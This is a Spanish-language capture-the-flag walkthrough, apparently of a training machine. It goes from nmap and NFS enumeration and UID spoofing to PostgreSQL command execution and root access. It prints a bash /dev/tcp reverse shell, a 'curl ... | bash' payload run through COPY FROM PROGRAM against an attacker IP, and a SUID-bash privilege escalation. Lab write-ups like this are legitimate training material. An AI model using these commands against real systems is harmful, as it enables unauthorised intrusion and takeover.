NMAP

Comenzamos el reconocimiento de servicios y puertos a través de NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 43504/udp6 mountd
| 100005 1,2,3 47327/tcp mountd
| 100005 1,2,3 50322/udp mountd
|_ 100005 1,2,3 50865/tcp6 mountd
2049/tcp open nfs 3-4 (RPC #100003)
32815/tcp open status 1 (RPC #100024)
42617/tcp open nlockmgr 1-4 (RPC #100021)
47327/tcp open mountd 1-3 (RPC #100005)
56263/tcp open mountd 1-3 (RPC #100005)
58429/tcp open mountd 1-3 (RPC #100005)

Service Info: OS: Linux

Puerto 2049

El puerto 2049 sabemos que es utilizado por el servicio de Network File System (NFS).
NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder y compartir archivos entre sistemas en una red..

Se puede usar el comando showmount para obtener info de la lista de recursos:

1
showmount -e 10.10.127.69


Observo 2 carpetas compartidas. /var/backups y /home, lo que procedo a montarlas:

1
sudo mount -t nfs 10.10.121.184: . -o nolock

Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende procedo a crearlo localmente y le asigno el mismo UID.

1
2
3
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337

Una vez soy 1337 voy a poder acceder a la carpeta service.


Hay algunos archivos interesantes para analizar y que dan algunas pistas por donde encarar la situación. El archivo .bash_history luce del siguiente modo:


El archivo .psql_history:


Se resalta el user service y un hash aaabf0d39951f3e6c3e8a7911df524c2

Las cuales si lo verificamos en crackstation podemos ver que el hash pertenece a la contraseña “service“.


Al intentar loguear via SSH con las credenciales validas el sistema automáticamente nos cierra la conexión.


Luego de un rato de seguir enumerando, chequeo la info que me dan del user al principio de la maquina:


Y luego de un poco de Googling, recuerdo que el .bash_history nos mostraba la linea siguiente:

file /var/run/postgresql/.s.PGSQL.5432

Ese path en especifico es un archivo de socket Unix que se utiliza para la comunicacion entre procesos del sistema. En este caso especifico para la comunicacion entre aplicaciones y el servidor de la base de datos PostgreSQL.

Teniendo esto mas claro, procedo a crear un PortForwarding con SSH pasandole las credenciales que tenemos y seteando correctamente el socket remoto para conectarnos con el cliente postgress.

1
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 [email protected]


Y luego conectamos con Postgress:

1
psql -h /tmp -U postgres -p 5433


Postgress

Con \list puedo listar todas las base de datos:


Luego de verificar las base de datos, veo que lo único que obtengo son el hash del user service que ya tenemos, entonces me pongo a investigar si es posible que creemos una revshell como postgres user.

Verifico que tengo Command Execution y realizo lo siguiente para obtener una revshell:


Content Revshell file: “s”

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1

Desde postgres cli:

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;

Finalmente obtengo revshell:

1
sudo rlwrap nc -lnvvp 443


Una vez tengo revshell y luego de enumerar un poco, me creo una conexión mas estable con SSH y mantengo persistencia.


PSPY

Procedo a subir el PSPY a /tmp y luego lo ejecuto.


Veo que ejecuta un archivo en /usr/bin/backup y lo hace como ROOT.
Verificando el código observo lo siguiente:


ROOT

File: /usr/bin/backup

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi

/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y sera realizado por ROOT



Creando bash suid para PrivEsc

1
2
cp /bin/bash pwn
chmod u+s pwn


Si ahora voy a /opt/backups/current vemos que lo backupea como ROOT:


Ahora solo resta rootear.

1
./pwn -p